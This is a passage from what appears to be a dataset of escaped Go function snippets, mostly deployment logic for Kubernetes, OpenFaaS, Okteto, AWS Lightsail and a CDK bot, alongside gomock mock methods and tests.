err)\n\tsuite.Equal(err.Error(), errNoValidHosts.Error())\n\n\terr = suite.hostService.ReserveHost(\n\t\tctx,\n\t\t[]*models_v0.Host{{Host: &hostsvc.HostInfo{}}},\n\t\tnil)\n\trequire.Error(suite.T(), err)\n\tsuite.Equal(err.Error(), errNoValidTask.Error())\n\n\tsuite.hostMgrClient.EXPECT().ReserveHosts(\n\t\tgomock.Any(), gomock.Any()).\n\t\tReturn(nil, errReturn)\n\terr = suite.hostService.ReserveHost(\n\t\tctx,\n\t\t[]*models_v0.Host{{Host: &hostsvc.HostInfo{}}},\n\t\t&resmgr.Task{})\n\trequire.Error(suite.T(), err)\n\tsuite.Equal(err.Error(), errReturn.Error())\n\n\tsuite.hostMgrClient.EXPECT().ReserveHosts(\n\t\tgomock.Any(), gomock.Any()).\n\t\tReturn(\n\t\t\t&hostsvc.ReserveHostsResponse{\n\t\t\t\tError: &hostsvc.ReserveHostsResponse_Error{\n\t\t\t\t\tFailed: &hostsvc.ReservationFailed{\n\t\t\t\t\t\tMessage: \"failed\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}, nil,\n\t\t)\n\terr = suite.hostService.ReserveHost(\n\t\tctx,\n\t\t[]*models_v0.Host{{Host: &hostsvc.HostInfo{}}},\n\t\t&resmgr.Task{})\n\trequire.Error(suite.T(), err)\n\n\tsuite.hostMgrClient.EXPECT().ReserveHosts(\n\t\tgomock.Any(), gomock.Any()).\n\t\tReturn(\n\t\t\t&hostsvc.ReserveHostsResponse{}, nil,\n\t\t)\n\terr = suite.hostService.ReserveHost(\n\t\tctx,\n\t\t[]*models_v0.Host{{Host: &hostsvc.HostInfo{}}},\n\t\t&resmgr.Task{})\n\trequire.NoError(suite.T(), err)\n}", "func (p *MockDeployPlugin) Update(cluster *lang.Cluster, deployName string, params util.NestedParameterMap, eventLog *event.Log) error {\n\ttime.Sleep(p.SleepTime)\n\treturn nil\n}", "func (m *MockTemplateService) Execute(arg0, arg1 string, arg2 map[string]interface{}) ([]byte, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Execute\", arg0, arg1, arg2)\n\tret0, _ := ret[0].([]byte)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (d *Dependency) Deploy(client kubectl.Client, skipPush, forceDependencies, skipBuild, forceBuild, forceDeploy bool, log log.Logger) error {\n\t// Check if we should redeploy\n\tdirectoryHash, err := hash.DirectoryExcludes(d.LocalPath, []string{\".git\", \".devspace\"}, true)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"hash directory\")\n\t}\n\n\t// Check if we skip the dependency deploy\n\tif forceDependencies == false && directoryHash == d.DependencyCache.GetActive().Dependencies[d.ID] {\n\t\treturn nil\n\t}\n\n\td.DependencyCache.GetActive().Dependencies[d.ID] = directoryHash\n\n\t// Switch current working directory\n\tcurrentWorkingDirectory, err := os.Getwd()\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"getwd\")\n\t}\n\n\terr = os.Chdir(d.LocalPath)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"change working directory\")\n\t}\n\n\t// Change back to original working directory\n\tdefer os.Chdir(currentWorkingDirectory)\n\n\t// Recreate client if necessary\n\tif d.DependencyConfig.Namespace != \"\" {\n\t\tclient, err = kubectl.NewClientFromContext(client.CurrentContext(), d.DependencyConfig.Namespace, false)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"create new client\")\n\t\t}\n\t}\n\n\t// Create namespace if necessary\n\terr = client.EnsureDefaultNamespace(log)\n\tif err != nil {\n\t\treturn errors.Errorf(\"Unable to create namespace: %v\", err)\n\t}\n\n\t// Create docker client\n\tdockerClient, err := docker.NewClient(log)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"create docker client\")\n\t}\n\n\t// Create pull secrets and private registry if necessary\n\tregistryClient := registry.NewClient(d.Config, client, dockerClient, log)\n\terr = registryClient.CreatePullSecrets()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Check if image build is enabled\n\tbuiltImages := make(map[string]string)\n\tif skipBuild == false && (d.DependencyConfig.SkipBuild == nil || *d.DependencyConfig.SkipBuild == false) {\n\t\t// Build images\n\t\tbuiltImages, err = build.All(d.Config, d.GeneratedConfig.GetActive(), client, skipPush, false, forceBuild, false, false, log)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// Save config if an image was built\n\t\tif len(builtImages) > 0 {\n\t\t\terr := generated.SaveConfig(d.GeneratedConfig)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Errorf(\"Error saving generated config: %v\", err)\n\t\t\t}\n\t\t}\n\t}\n\n\t// Deploy all defined deployments\n\terr = deploy.All(d.Config, d.GeneratedConfig.GetActive(), client, false, forceDeploy, builtImages, nil, log)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Save Config\n\terr = generated.SaveConfig(d.GeneratedConfig)\n\tif err != nil {\n\t\treturn errors.Errorf(\"Error saving generated config: %v\", err)\n\t}\n\n\tlog.Donef(\"Deployed dependency %s\", d.ID)\n\treturn nil\n}", "func (m *MockMachineClient) Execute(arg0 context.Context, arg1 ...grpc.CallOption) (machine.Machine_ExecuteClient, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{arg0}\n\tfor _, a := range arg1 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"Execute\", varargs...)\n\tret0, _ := ret[0].(machine.Machine_ExecuteClient)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (e *execution) deployNode(ctx context.Context, clientset kubernetes.Interface, generator *k8sGenerator, nbInstances int32) error {\n\tnamespace, err := defaultNamespace(e.deploymentID)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = createNamespaceIfMissing(e.deploymentID, namespace, clientset)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = e.checkRepository(ctx, clientset, generator)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\te.envInputs, _, err = operations.ResolveInputs(e.kv, e.deploymentID, e.nodeName, e.taskID, e.operation)\n\tif err != nil {\n\t\treturn err\n\t}\n\tinputs := e.parseEnvInputs()\n\n\tdeployment, service, err := generator.generateDeployment(e.deploymentID, e.nodeName, e.operation, e.nodeType, e.secretRepoName, inputs, nbInstances)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = clientset.ExtensionsV1beta1().Deployments(namespace).Create(&deployment)\n\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"Failed to create deployment\")\n\t}\n\n\tif service.Name != \"\" {\n\t\tserv, err := clientset.CoreV1().Services(namespace).Create(&service)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"Failed to create service\")\n\t\t}\n\t\tvar s string\n\t\tnode, err := getHealthyNode(clientset)\n\t\tif err != nil {\n\t\t\tevents.WithContextOptionalFields(ctx).NewLogEntry(events.LogLevelWARN, e.deploymentID).Registerf(\"Not able to find an healthy node\")\n\t\t}\n\t\th, err := getExternalIPAdress(clientset, node)\n\t\tif err != nil {\n\t\t\tevents.WithContextOptionalFields(ctx).NewLogEntry(events.LogLevelWARN, e.deploymentID).Registerf(\"Error getting external ip of node %s\", node)\n\t\t}\n\t\tfor _, val := range serv.Spec.Ports {\n\t\t\tstr := fmt.Sprintf(\"http://%s:%d\", h, val.NodePort)\n\n\t\t\tlog.Printf(\"%s : %s: %d:%d mapped to %s\", serv.Name, val.Name, val.Port, val.TargetPort.IntVal, str)\n\n\t\t\ts = fmt.Sprintf(\"%s %d ==> %s \\n\", s, val.Port, str)\n\n\t\t\tif val.NodePort != 0 {\n\t\t\t\t// The service is accessible to an external IP address through\n\t\t\t\t// this port. Updating the corresponding public endpoints\n\t\t\t\t// kubernetes port mapping\n\t\t\t\terr := e.updatePortMappingPublicEndpoints(val.Port, h, val.NodePort)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn errors.Wrap(err, \"Failed to update endpoint capabilities port mapping\")\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\terr = deployments.SetAttributeForAllInstances(e.kv, e.deploymentID, e.nodeName, \"k8s_service_url\", s)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"Failed to set attribute\")\n\t\t}\n\n\t\t// Legacy\n\t\terr = deployments.SetAttributeForAllInstances(e.kv, e.deploymentID, e.nodeName, \"ip_address\", service.Name)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"Failed to set attribute\")\n\t\t}\n\n\t\terr = deployments.SetAttributeForAllInstances(e.kv, e.deploymentID, e.nodeName, \"k8s_service_name\", service.Name)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"Failed to set attribute\")\n\t\t}\n\t\t// TODO check that it is a good idea to use it as endpoint ip_address\n\t\terr = deployments.SetCapabilityAttributeForAllInstances(e.kv, e.deploymentID, e.nodeName, \"endpoint\", \"ip_address\", service.Name)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"Failed to set capability attribute\")\n\t\t}\n\t}\n\n\t// TODO this is very bad but we need to add a hook in order to undeploy our pods we the tosca node stops\n\t// It will be better if we have a Kubernetes node type with a default stop implementation that will be inherited by\n\t// sub components.\n\t// So let's add an implementation of the stop operation in the node type\n\treturn e.setUnDeployHook()\n}", "func HandleDeploy(w http.ResponseWriter, r *http.Request) {\r\n\r\n\tif r.Method == \"POST\" {\r\n\r\n\t\tvar err error\r\n\r\n\t\turlPart := strings.Split(r.URL.Path, \"/\")\r\n\r\n\t\tname := urlPart[2]\r\n\r\n\t\tif name != \"\" {\r\n\r\n\t\t\t//basis is optionally passed as qs param\r\n\t\t\tbasis := r.URL.Query().Get(\"basis\")\r\n\r\n\t\t\tdefer r.Body.Close()\r\n\r\n\t\t\tbody, _ := ioutil.ReadAll(r.Body)\r\n\r\n\t\t\tbodyString := string(body)\r\n\r\n\t\t\tvm := otto.New()\r\n\r\n\t\t\t//check it compiles\r\n\t\t\tif script, err := vm.Compile(name, bodyString); err == nil {\r\n\r\n\t\t\t\tif hash, err := storage.Set(name, script, basis); err == nil {\r\n\t\t\t\t\tfmt.Printf(\"Deployed Script %s (%s)\\n\", name, hash)\r\n\t\t\t\t\tw.Write([]byte(hash))\r\n\t\t\t\t\treturn\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tw.Write([]byte(err.Error()))\r\n\t\t\thttp.Error(w, http.StatusText(http.StatusInternalServerError), http.StatusInternalServerError)\r\n\r\n\t\t\treturn\r\n\t\t}\r\n\t}\r\n\r\n\thttp.Error(w, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)\r\n\r\n}", "func (m *MockapprunnerDescriber) Service() (*apprunner.Service, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Service\")\n\tret0, _ := ret[0].(*apprunner.Service)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func Deploy(ctx context.Context) *cobra.Command {\n\toptions := &Options{}\n\n\tcmd := &cobra.Command{\n\t\tUse: \"deploy\",\n\t\tShort: \"Execute the list of commands specified in the Okteto manifest to deploy the application\",\n\t\tArgs: utils.NoArgsAccepted(\"https://okteto.com/docs/reference/cli/#version\"),\n\t\tHidden: true,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\t// This is needed because the deploy command needs the original kubeconfig configuration even in the execution within another\n\t\t\t// deploy command. If not, we could be proxying a proxy and we would be applying the incorrect deployed-by label\n\t\t\tos.Setenv(model.OktetoWithinDeployCommandContextEnvVar, \"false\")\n\n\t\t\tif err := contextCMD.LoadManifestV2WithContext(ctx, options.Namespace, options.ManifestPath); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tif okteto.IsOkteto() {\n\t\t\t\tcreate, err := utils.ShouldCreateNamespace(ctx, okteto.Context().Namespace)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tif create {\n\t\t\t\t\tnsCmd, err := namespace.NewCommand()\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t\tnsCmd.Create(ctx, &namespace.CreateOptions{Namespace: okteto.Context().Namespace})\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tcwd, err := os.Getwd()\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"failed to get the current working directory: %w\", err)\n\t\t\t}\n\n\t\t\taddEnvVars(ctx, cwd)\n\t\t\tif options.Name == \"\" {\n\t\t\t\toptions.Name = utils.InferApplicationName(cwd)\n\t\t\t}\n\n\t\t\t// Look for a free local port to start the proxy\n\t\t\tport, err := model.GetAvailablePort(\"localhost\")\n\t\t\tif err != nil {\n\t\t\t\toktetoLog.Infof(\"could not find a free port to start proxy server: %s\", err)\n\t\t\t\treturn err\n\t\t\t}\n\t\t\toktetoLog.Debugf(\"found available port %d\", port)\n\n\t\t\t// TODO for now, using self-signed certificates\n\t\t\tcert, err := tls.X509KeyPair(cert, key)\n\t\t\tif err != nil {\n\t\t\t\toktetoLog.Infof(\"could not read certificate: %s\", err)\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\t// Generate a token for the requests done to the proxy\n\t\t\tsessionToken := uuid.NewString()\n\n\t\t\tkubeconfig := newKubeConfig()\n\t\t\tclusterConfig, err := kubeconfig.Read()\n\t\t\tif err != nil {\n\t\t\t\toktetoLog.Infof(\"could not read kubeconfig file: %s\", err)\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\thandler, err := getProxyHandler(options.Name, sessionToken, clusterConfig)\n\t\t\tif err != nil {\n\t\t\t\toktetoLog.Infof(\"could not configure local proxy: %s\", err)\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\ts := &http.Server{\n\t\t\t\tAddr: fmt.Sprintf(\":%d\", port),\n\t\t\t\tHandler: handler,\n\t\t\t\tReadTimeout: 5 * time.Second,\n\t\t\t\tWriteTimeout: 10 * time.Second,\n\t\t\t\tIdleTimeout: 120 * time.Second,\n\t\t\t\tTLSConfig: &tls.Config{\n\t\t\t\t\tCertificates: []tls.Certificate{cert},\n\n\t\t\t\t\t// Recommended security configuration by DeepSource\n\t\t\t\t\tMinVersion: tls.VersionTLS12,\n\t\t\t\t\tMaxVersion: tls.VersionTLS13,\n\t\t\t\t},\n\t\t\t}\n\n\t\t\tc := &deployCommand{\n\t\t\t\tgetManifest: contextCMD.GetManifest,\n\n\t\t\t\tkubeconfig: kubeconfig,\n\t\t\t\texecutor: utils.NewExecutor(oktetoLog.GetOutputFormat()),\n\t\t\t\tproxy: newProxy(proxyConfig{\n\t\t\t\t\tport: port,\n\t\t\t\t\ttoken: sessionToken,\n\t\t\t\t}, s),\n\t\t\t\ttempKubeconfigFile: fmt.Sprintf(tempKubeConfigTemplate, config.GetUserHomeDir(), options.Name),\n\t\t\t\tk8sClientProvider: okteto.NewK8sClientProvider(),\n\t\t\t}\n\t\t\treturn c.runDeploy(ctx, cwd, options)\n\t\t},\n\t}\n\n\tcmd.Flags().StringVar(&options.Name, \"name\", \"\", \"application name\")\n\tcmd.Flags().StringVarP(&options.ManifestPath, \"file\", \"f\", \"\", \"path to the okteto manifest file\")\n\tcmd.Flags().StringVarP(&options.Namespace, \"namespace\", \"n\", \"\", \"overwrites the namespace where the application is deployed\")\n\n\tcmd.Flags().StringArrayVarP(&options.Variables, \"var\", \"v\", []string{}, \"set a variable (can be set more than once)\")\n\tcmd.Flags().BoolVarP(&options.Build, \"build\", \"\", false, \"force build of images when deploying the app\")\n\tcmd.Flags().MarkHidden(\"build\")\n\n\treturn cmd\n}", "func (s *SailTrim) Deploy(ctx context.Context) error {\n\tsv, err := s.conf.loadService()\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"failed to load service config\")\n\t}\n\tif _, err = s.svc.GetContainerServicesWithContext(ctx, &lightsail.GetContainerServicesInput{\n\t\tServiceName: sv.ContainerServiceName,\n\t}); err != nil {\n\t\treturn s.create(ctx, *sv.ContainerServiceName)\n\t}\n\n\tdp, err := s.conf.loadDeployment()\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"failed to load deployment config\")\n\t}\n\tif out, err := s.svc.CreateContainerServiceDeploymentWithContext(ctx, &lightsail.CreateContainerServiceDeploymentInput{\n\t\tServiceName: sv.ContainerServiceName,\n\t\tContainers: dp.Containers,\n\t\tPublicEndpoint: &lightsail.EndpointRequest{\n\t\t\tContainerName: dp.PublicEndpoint.ContainerName,\n\t\t\tContainerPort: dp.PublicEndpoint.ContainerPort,\n\t\t\tHealthCheck: dp.PublicEndpoint.HealthCheck,\n\t\t},\n\t}); err != nil {\n\t\treturn errors.Wrap(err, \"failed to create deployment\")\n\t} else {\n\t\tlog.Printf(\"[info] new deployment is created\")\n\t\tlog.Printf(\"[debug] %s\", MarshalJSONString(out))\n\t}\n\treturn nil\n}", "func NewDummyDeployer() Deployer {\n\td, c := NewDeployerSpy()\n\tc.MatchMethod(\"RunningDeployments\", spies.AnyArgs, NewDeployStates(), nil)\n\tc.MatchMethod(\"Rectify\", spies.AnyArgs, DiffResolution{})\n\tc.MatchMethod(\"Status\", spies.AnyArgs, &DeployState{}, nil)\n\treturn d\n}", "func (sparkMasterDeployment *SparkMasterDeployment) Deploy(){\n\tsparkMasterDeployment.deploymentClient.DeleteService(\"spark-master\")\n\tsparkMasterDeployment.deploymentClient.DeleteService(\"spark-webui\")\n\tsparkMasterDeployment.deploymentClient.DeleteDeployment(sparkMasterDeployment.sparkMasterName)\n\n\tsparkMasterDeployment.deploymentClient.CreateService(\"spark-master\", 7077, sparkMasterDeployment.labels)\n\tsparkMasterDeployment.deploymentClient.CreateService(\"spark-webui\", 8080, sparkMasterDeployment.labels)\n\tsparkMasterDeployment.deploymentClient.CreateDeployment(\n\t\tsparkMasterDeployment.generateDeploymentConfig())\n}", "func (c *Client) deploy(context context.Context, spec *DeployFunctionSpec, update bool) (int, string) {\n\n\tvar deployOutput string\n\t// Need to alter Gateway to allow nil/empty string as fprocess, to avoid this repetition.\n\tvar fprocessTemplate string\n\tif len(spec.FProcess) > 0 {\n\t\tfprocessTemplate = spec.FProcess\n\t}\n\n\tif spec.Replace {\n\t\tc.DeleteFunction(context, spec.FunctionName, spec.Namespace)\n\t}\n\n\treq := types.FunctionDeployment{\n\t\tEnvProcess: fprocessTemplate,\n\t\tImage: spec.Image,\n\t\tRegistryAuth: spec.RegistryAuth,\n\t\tNetwork: spec.Network,\n\t\tService: spec.FunctionName,\n\t\tEnvVars: spec.EnvVars,\n\t\tConstraints: spec.Constraints,\n\t\tSecrets: spec.Secrets,\n\t\tLabels: &spec.Labels,\n\t\tAnnotations: &spec.Annotations,\n\t\tReadOnlyRootFilesystem: spec.ReadOnlyRootFilesystem,\n\t\tNamespace: spec.Namespace,\n\t}\n\n\thasLimits := false\n\treq.Limits = &types.FunctionResources{}\n\tif spec.FunctionResourceRequest.Limits != nil && len(spec.FunctionResourceRequest.Limits.Memory) > 0 {\n\t\thasLimits = true\n\t\treq.Limits.Memory = spec.FunctionResourceRequest.Limits.Memory\n\t}\n\tif spec.FunctionResourceRequest.Limits != nil && len(spec.FunctionResourceRequest.Limits.CPU) > 0 {\n\t\thasLimits = true\n\t\treq.Limits.CPU = spec.FunctionResourceRequest.Limits.CPU\n\t}\n\tif !hasLimits {\n\t\treq.Limits = nil\n\t}\n\n\thasRequests := false\n\treq.Requests = &types.FunctionResources{}\n\tif spec.FunctionResourceRequest.Requests != nil && len(spec.FunctionResourceRequest.Requests.Memory) > 0 {\n\t\thasRequests = true\n\t\treq.Requests.Memory = spec.FunctionResourceRequest.Requests.Memory\n\t}\n\tif spec.FunctionResourceRequest.Requests != nil && len(spec.FunctionResourceRequest.Requests.CPU) > 0 {\n\t\thasRequests = true\n\t\treq.Requests.CPU = spec.FunctionResourceRequest.Requests.CPU\n\t}\n\n\tif !hasRequests {\n\t\treq.Requests = nil\n\t}\n\n\treqBytes, _ := json.Marshal(&req)\n\treader := bytes.NewReader(reqBytes)\n\tvar request *http.Request\n\n\tmethod := http.MethodPost\n\t// \"application/json\"\n\tif update {\n\t\tmethod = http.MethodPut\n\t}\n\n\tvar err error\n\trequest, err = c.newRequest(method, \"/system/functions\", reader)\n\n\tif err != nil {\n\t\tdeployOutput += fmt.Sprintln(err)\n\t\treturn http.StatusInternalServerError, deployOutput\n\t}\n\n\tres, err := c.doRequest(context, request)\n\n\tif err != nil {\n\t\tdeployOutput += fmt.Sprintln(\"Is OpenFaaS deployed? Do you need to specify the --gateway flag?\")\n\t\tdeployOutput += fmt.Sprintln(err)\n\t\treturn http.StatusInternalServerError, deployOutput\n\t}\n\n\tif res.Body != nil {\n\t\tdefer res.Body.Close()\n\t}\n\n\tswitch res.StatusCode {\n\tcase http.StatusOK, http.StatusCreated, http.StatusAccepted:\n\t\tdeployOutput += fmt.Sprintf(\"Deployed. %s.\\n\", res.Status)\n\n\t\tdeployedURL := fmt.Sprintf(\"URL: %s/function/%s\", c.GatewayURL.String(), generateFuncStr(spec))\n\t\tdeployOutput += fmt.Sprintln(deployedURL)\n\tcase http.StatusUnauthorized:\n\t\tdeployOutput += fmt.Sprintln(\"unauthorized access, run \\\"faas-cli login\\\" to setup authentication for this server\")\n\n\tdefault:\n\t\tbytesOut, err := ioutil.ReadAll(res.Body)\n\t\tif err == nil {\n\t\t\tdeployOutput += fmt.Sprintf(\"Unexpected status: %d, message: %s\\n\", res.StatusCode, string(bytesOut))\n\t\t}\n\t}\n\n\treturn res.StatusCode, deployOutput\n}", "func (m *MockDB) ListDeployments(userID, limit, offset uint) ([]Deployment, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"ListDeployments\", userID, limit, offset)\n\tret0, _ := ret[0].([]Deployment)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (t *Deliverys) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\r\n function, args := stub.GetFunctionAndParameters()\r\n fmt.Println(\"invoke is running \" + function)\r\n\r\n // Handle different functions\r\n if function == \"createDelivery\" { //create a new Delivery\r\n return t.createDelivery(stub, args)\r\n\t}else if function == \"getDeliveryByPurchaseID\" { //find delivery for a particular purchase id using rich query\r\n return t.getDeliveryByPurchaseID(stub, args)\r\n }else if function == \"getAllDAPDelivery\" { //find delivery for a particular purchase id using rich query\r\n return t.getAllDAPDelivery(stub, args)\r\n } else if function == \"getAllDAPDeliveryDate\" { //find delivery for a particular purchase id using rich query\r\n return t.getAllDAPDeliveryDate(stub, args)\r\n }\r\n\t \r\n eventMessage := \"{ \\\"message\\\" : \\\"Received unknown function invocation\\\", \\\"code\\\" : \\\"503\\\"}\"\r\n err := stub.SetEvent(\"errEvent\", []byte(eventMessage))\r\n if err != nil {\r\n return shim.Error(err.Error())\r\n }\r\n fmt.Println(\"invoke did not find func: \" + function) //error\r\n return shim.Error(\"Received unknown function invocation\")\r\n}", "func (m *MockInterface) Exec(arg0 env.Exec) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Exec\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func TestExecuteDeploySysChaincode(t *testing.T) {\n\ttestForSkip(t)\n\tsysccinfo, lis, err := initSysCCTests()\n\tif err != nil {\n\t\tt.Fail()\n\t\treturn\n\t}\n\n\tdefer func() {\n\t\tsysccinfo.reset()\n\t}()\n\n\tchainID := util.GetTestChainID()\n\n\tif err = peer.MockCreateChain(chainID); err != nil {\n\t\tcloseListenerAndSleep(lis)\n\t\treturn\n\t}\n\n\tvar ctxt = context.Background()\n\n\terr = deploySampleSysCC(t, ctxt, chainID)\n\tif err != nil {\n\t\tcloseListenerAndSleep(lis)\n\t\tt.Fail()\n\t\treturn\n\t}\n\n\tcloseListenerAndSleep(lis)\n}", "func (m *Mockdeployer) DeployEnvironment(env *deploy.CreateEnvironmentInput) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"DeployEnvironment\", env)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (r Runner) Deploy(deploymentName string, manifestFilename string) error {\n\treturn r.DeployWithFlags(deploymentName, manifestFilename)\n}", "func (m *MockDeploymentControllerFactory) Build(mgr mc_manager.AsyncManager, clusterName string) (controller0.DeploymentController, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Build\", mgr, clusterName)\n\tret0, _ := ret[0].(controller0.DeploymentController)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockDeployment) Start(arg0 ui.Stage, arg1 manifest.Update) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Start\", arg0, arg1)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (r *Runner) Deploy(\n\tctx context.Context,\n\tuserName string,\n\tstacks []string,\n) error {\n\tif has, _ := r.hasOutdatedDiffLabel(ctx); has {\n\t\tif err := r.platform.CreateComment(ctx, \"Differences are outdated. Run /diff instead.\"); err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn r.Diff(ctx)\n\t}\n\treturn r.updateStatus(ctx, func() (*resultState, error) {\n\t\tcdkPath, cfg, target, pr, err := r.setup(ctx, true)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif target == nil {\n\t\t\treturn newResultState(constant.StateMergeReady, \"No targets are matched\"), nil\n\t\t}\n\t\tif !cfg.IsUserAllowedDeploy(userName) {\n\t\t\treturn newResultState(constant.StateNotMergeReady, fmt.Sprintf(\"user %s is not allowed to deploy\", userName)), nil\n\t\t}\n\t\topenPRs, err := r.platform.GetOpenPullRequests(ctx)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif number, exists := existsOtherDeployedSameBasePRs(openPRs, pr); exists {\n\t\t\treturn newResultState(\n\t\t\t\tconstant.StateNotMergeReady,\n\t\t\t\tfmt.Sprintf(\"deployed PR #%d is still opened. First /deploy and merge it, or /rollback.\", number),\n\t\t\t), nil\n\t\t}\n\t\tif len(stacks) == 0 {\n\t\t\tstacks, err = r.cdk.List(cdkPath, target.Contexts)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t\tvar (\n\t\t\terrMessage string\n\t\t\thasDiff bool\n\t\t)\n\t\tresult, deployErr := r.cdk.Deploy(cdkPath, stacks, target.Contexts)\n\t\tif deployErr != nil {\n\t\t\terrMessage = deployErr.Error()\n\t\t} else {\n\t\t\t_, hasDiff, err = r.cdk.Diff(cdkPath, nil, target.Contexts)\n\t\t\tif err != nil {\n\t\t\t\terrMessage = err.Error()\n\t\t\t}\n\t\t}\n\t\tif err := r.platform.AddLabel(ctx, constant.LabelDeployed); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif err := r.platform.CreateComment(\n\t\t\tctx,\n\t\t\tfmt.Sprintf(\"### cdk deploy\\n```\\n%s\\n%s\\n```\", result, errMessage),\n\t\t); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif errMessage != \"\" {\n\t\t\treturn newResultState(constant.StateNotMergeReady, \"Fix codes\"), nil\n\t\t}\n\t\tif !hasDiff {\n\t\t\tif err := r.platform.MergePullRequest(ctx, \"automatically merged by cdkbot\"); err != nil {\n\t\t\t\tif err := r.platform.CreateComment(\n\t\t\t\t\tctx,\n\t\t\t\t\tfmt.Sprintf(\"cdkbot tried to merge but failed: %s\", err.Error()),\n\t\t\t\t); err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfor _, openPR := range openPRs {\n\t\t\t\t\tif openPR.Number == pr.Number || openPR.BaseBranch != pr.BaseBranch {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\tif err := r.platform.AddLabelToOtherPR(ctx, constant.LabelOutdatedDiff, openPR.Number); err != nil {\n\t\t\t\t\t\treturn nil, err\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn newResultState(constant.StateMergeReady, \"No diffs. Let's merge!\"), nil\n\t\t}\n\t\treturn newResultState(constant.StateNotMergeReady, \"Go ahead with deploy.\"), nil\n\t})\n}", "func (m *MockVirtualServiceClient) Write(arg0 *v1.VirtualService, arg1 clients.WriteOpts) (*v1.VirtualService, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Write\", arg0, arg1)\n\tret0, _ := ret[0].(*v1.VirtualService)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (c *controller) DeployKubernetesService(\n\tctx context.Context,\n\tsvcConf *KubernetesService,\n) error {\n\n\tdesiredDeployment, desiredSvc := svcConf.BuildKubernetesServiceConfig()\n\n\t// Deploy deployment\n\tdeployments := c.k8sAppsClient.Deployments(svcConf.Namespace)\n\t// Check if deployment already exists. If exists, update it. If not, create.\n\tvar existingDeployment *apiappsv1.Deployment\n\tvar err error\n\texistingDeployment, err = deployments.Get(svcConf.Name, metav1.GetOptions{})\n\tif err != nil {\n\t\tif k8serrors.IsNotFound(err) {\n\t\t\t// Create new deployment\n\t\t\t_, err = deployments.Create(desiredDeployment)\n\t\t} else {\n\t\t\t// Unexpected error, return it\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\t// Check for differences between current and new specs\n\t\tif !k8sDeploymentSemanticEquals(desiredDeployment, existingDeployment) {\n\t\t\t// Update the existing service with the new config\n\t\t\texistingDeployment.Spec.Template = desiredDeployment.Spec.Template\n\t\t\texistingDeployment.ObjectMeta.Labels = desiredDeployment.ObjectMeta.Labels\n\t\t\t_, err = deployments.Update(existingDeployment)\n\t\t}\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Deploy Service\n\tservices := 